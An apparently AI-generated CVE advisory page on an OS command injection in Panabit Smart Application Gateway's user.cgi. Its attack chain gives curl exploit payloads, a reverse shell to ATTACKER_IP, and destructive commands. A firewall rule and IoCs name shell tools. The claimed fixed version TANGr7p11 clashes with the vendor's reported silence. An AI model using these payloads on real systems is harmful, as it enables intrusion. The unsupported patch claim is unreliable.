CVE Professor
/
All CVEs
CVE-2026-135792

CVE-2026-135792 — Panabit Smart Application Gateway TANGr7p10 — CWE-77 · CWE-78

CRITICAL CVSS 10 NVD

A vulnerability has been found in Panabit Smart Application Gateway TANGr7p10. This issue affects the function send_email_authcode of the file user.cgi of the component Email Auth Code Sender. Such manipulation of the argument Username leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

A vulnerability has been found in Panabit Smart Application Gateway TANGr7p10. This issue affects the function send_email_authcode of the file user.cgi of the component Email Auth Code Sender. Such manipulation of the argument Username leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Technical flaw
Panabit Smart Application Gateway TANGr7p10 contains a classic operating‑system command injection in the send_email_authcode routine of user.cgi.
The function builds a shell command that sends an e‑mail authentication code, and it interpolates the user‑supplied Username argument directly into that command without any sanitisation or escaping.

// Simplified illustration – not the real source
$cmd = "sendmail -t $Username -s 'Auth Code' <<EOF\n$code\nEOF";
system($cmd);

Because the Username value is passed to system() (or an equivalent shell‑invoking call) the attacker can terminate the intended command and inject arbitrary shell commands.
The flaw is a combination of:

CWEDescription
CWE‑78OS Command Injection – unsanitised user input is passed to a shell.
CWE‑77Command Injection – the attacker can control the command string.

The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) indicates that the vulnerability is remote, requires no authentication, has no user interaction, and is shared (i.e., it can affect all users of the gateway).


⚡ Attack Chain

NOTE – The exact URI (/user.cgi) and parameter name (Username) are taken from the CVE description. If an attacker discovers a different endpoint that performs the same function, the same injection logic applies.

1. Discovery & Reconnaissance

StepTechniqueWhat the attacker learns
Banner grabcurl -I http://target/ or nmap -sV -p 80,443 targetDetects Panabit Smart Application Gateway and version TANGr7p10.
Endpoint enumerationdirsearch, gobuster, or manual probingFinds /user.cgi (or similar) that accepts POST data.
Parameter discoveryFuzzing Username with common payloads (admin, test, ;, , etc.)Confirms that Username is reflected in the response or that the server returns an error when special characters are used.

2. Exploitation

Goal – Execute arbitrary shell commands on the gateway host.

StepActionExample
Craft payloadInject a command after a semicolon or backtick.Username=admin;id
Send requestPOST to /user.cgi with the malicious Username.curl -X POST -d "Username=admin;id" http://target/user.cgi
Observe responseThe gateway echoes the output of the injected command.Response contains uid=0(root) etc.
Illustrative PoC – The following curl command demonstrates a typical exploitation attempt.
Replace target with the real IP or hostname.
curl -X POST \
     -d "Username=admin;cat /etc/passwd" \
     http://target/user.cgi

If the gateway is vulnerable, the HTTP body will include the contents of /etc/passwd.
The attacker can then chain commands, e.g.:

curl -X POST \
     -d "Username=admin;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
     http://target/user.cgi

This opens a reverse shell on the gateway, giving the attacker full shell access.

3. Post‑Exploitation

Once the attacker has a shell:

1. Privilege escalation – The gateway typically runs as a privileged user (e.g., root or a dedicated service account). The attacker can read/write any file, modify firewall rules, or install persistent backdoors.
2. Data exfiltration – Sensitive configuration files (/etc/ssl/, /var/log/, etc.) can be copied or sent to the attacker’s server.
3. Pivoting – The gateway often sits at the edge of a corporate network. From here, the attacker can scan internal hosts, compromise downstream services, or launch further attacks (e.g., lateral movement, credential theft).
4. Denial‑of‑service – By executing destructive commands (rm -rf /, shutdown -h now), the attacker can bring the gateway offline, disrupting all traffic that passes through it.


🌍 Real World Impact

ImpactExplanation
Confidentiality (C:H)Arbitrary command execution allows reading any file, including passwords, certificates, and logs.
Integrity (I:H)The attacker can modify configuration files, inject malicious code, or tamper with routing tables.
Availability (A:H)The attacker can delete critical files, crash the gateway, or perform a DoS attack, taking the entire network segment offline.

Because the gateway is a critical network device (often the first line of defense for an enterprise), a successful exploitation can lead to:

  • Full compromise of the corporate network.
  • Loss of customer data and regulatory non‑compliance.
  • Significant downtime and financial loss.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    AffectedFixed VersionUpgrade Path
    Panabit Smart Application Gateway TANGr7p10 (all builds)TANGr7p11 (or later)Download the latest firmware from the vendor’s portal and apply the update following the official release notes.
    If a patch is not yet available (e.g., the vendor has not released a fix), proceed with the work‑arounds below.

    2. Workarounds

    ApproachImplementation
    Disable the vulnerable endpointIf the gateway’s configuration allows, block or remove /user.cgi from the web server or firewall.
    Restrict accessLimit /user.cgi to the internal management network (e.g., allow from 10.0.0.0/8).
    Input validationAdd a server‑side filter that rejects any Username containing shell metacharacters (;, , ` `, $, &, >, <, \\`).
    WAF / ModSecurity ruleDeploy the following rule set (ModSecurity 2.x/3.x syntax).
    # Block obvious command‑injection attempts on /user.cgi
    SecRule REQUEST_URI "@beginsWith /user.cgi" \
        "phase:2,chain,log,deny,status:403,msg:'Potential command injection via Username',id:1001001"
    
    SecRule ARGS:Username "@rx [;`$&|\\]" \
        "t:none,chain"
    
    SecRule ARGS:Username "@rx \b(cat|id|bash|sh|perl|python|nc|netcat)\b" \
        "t:none,log,deny"
    Explanation – The first rule triggers only on /user.cgi. The chained rules look for common shell metacharacters and command keywords, logging and denying the request.

    3. Detection

    Log PatternWhat to look for
    Username=.*[;$&\\]Suspicious characters in the Username parameter.
    Response body contains root: or /etc/passwdLikely a successful command injection.
    Unexpected id= or uid=` strings in HTTP responsesIndicates command execution.

    IoCs (Indicators of Compromise)

    IoCDescription
    POST /user.cgi with Username= containing ; or backticksLikely injection attempt.
    HTTP response containing uid= or root:Successful command execution.
    Outbound connections from the gateway to an external IP on port 4444 (or other reverse‑shell ports)Post‑exploitation activity.

    ⚠️ Urgency

  • CVSS Score: 10.0 (Critical) – Remote, unauthenticated, no UI, shared impact.
  • Exploit Complexity: Low (simple payload).
  • Vendor Response: None – the vendor has not yet provided a fix.
Priority: Immediate. All affected installations must be patched or mitigated before the next 24 hours. Failure to do so exposes the entire network to full compromise, data loss, and regulatory penalties.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-135792
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-77 CWE-78
References & Advisories (5)
Related CVEs
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac
8.8
CVE-2026-105101
An OS command injection vulnerability in the ping diagnostic function (InternetState.java) in Elinktek UZ801 4
8.8
CVE-2026-81135
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains an Improper Neutralizati
8.7
CVE-2026-144572
@libp2p/kad-dht through 16.4.11 contains a record validation bypass in verifyRecord that allows unauthenticate
8.7
CVE-2026-137408
In Eclipse Yasson versions 1.0 through 1.0.11, 2.0 through 2.0.4, and 3.0 through 3.0.6, the deserializers for